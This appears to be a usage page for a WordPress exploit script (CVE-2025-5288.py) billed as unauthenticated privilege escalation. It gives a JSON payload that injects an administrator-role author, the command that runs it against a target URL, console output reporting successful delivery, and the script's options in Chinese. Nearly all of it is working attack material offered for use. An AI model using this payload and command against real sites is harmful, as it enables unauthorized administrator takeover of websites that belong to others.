[
  {
    "author_data": {
      "post_author": "Nxploited",
      "post_author_email": "[email protected]",
      "post_author_role": "administrator"
    },
    "title": "Nxploited (Khaled_alenazi)",
    "content": "Nxploited (Khaled_alenazi)"
  }
]

python3 CVE-2025-5288.py -u http://192.168.100.74:888/wordpress/ -json http://192.168.100.74:888/user.json

[+] Target appears vulnerable (version: 2.0.3) - exploiting...

[*] Fetching JSON payload from: http://192.168.100.74:888/user.json
[+] JSON content loaded successfully:

    [1] {
    "author_data": {
        "post_author": "Nxploited",
        "post_author_email": "[email protected]",
        "post_author_role": "administrator"
    },
    "title": "Nxploited (Khaled_alenazi)",
    "content": "Nxploited (Khaled_alenazi)"
}

[*] Launching exploitation...

[+] Exploit delivered successfully.

[+] Payload Sent:
[
    {
        "author_data": {
            "post_author": "Nxploited",
            "post_author_email": "[email protected]",
            "post_author_role": "administrator"
        },
        "title": "Nxploited (Khaled_alenazi)",
        "content": "Nxploited (Khaled_alenazi)"
    }
]

usage: CVE-2025-5288.py [-h] -u URL -json URL_JSON [--proxy PROXY] [--timeout TIMEOUT] [--no-verify] [--no-sleep] [--debug]

未认证权限提升 - 由Khaled Alenazi (Nxploited)

选项：
  -h, --help            显示此帮助信息并退出
  -u, --url URL         WordPress站点的基本URL（例如 http://target/wp/）
  -json, --url_json URL_JSON
                        托管载荷的URL
  --proxy PROXY         代理URL（例如 http://127.0.0.1:8080）
  --timeout TIMEOUT     HTTP超时秒数（默认：10）
  --no-verify           禁用SSL证书验证（不建议！）
  --no-sleep            禁用睡眠延迟以加快执行速度
  --debug               启用调试输出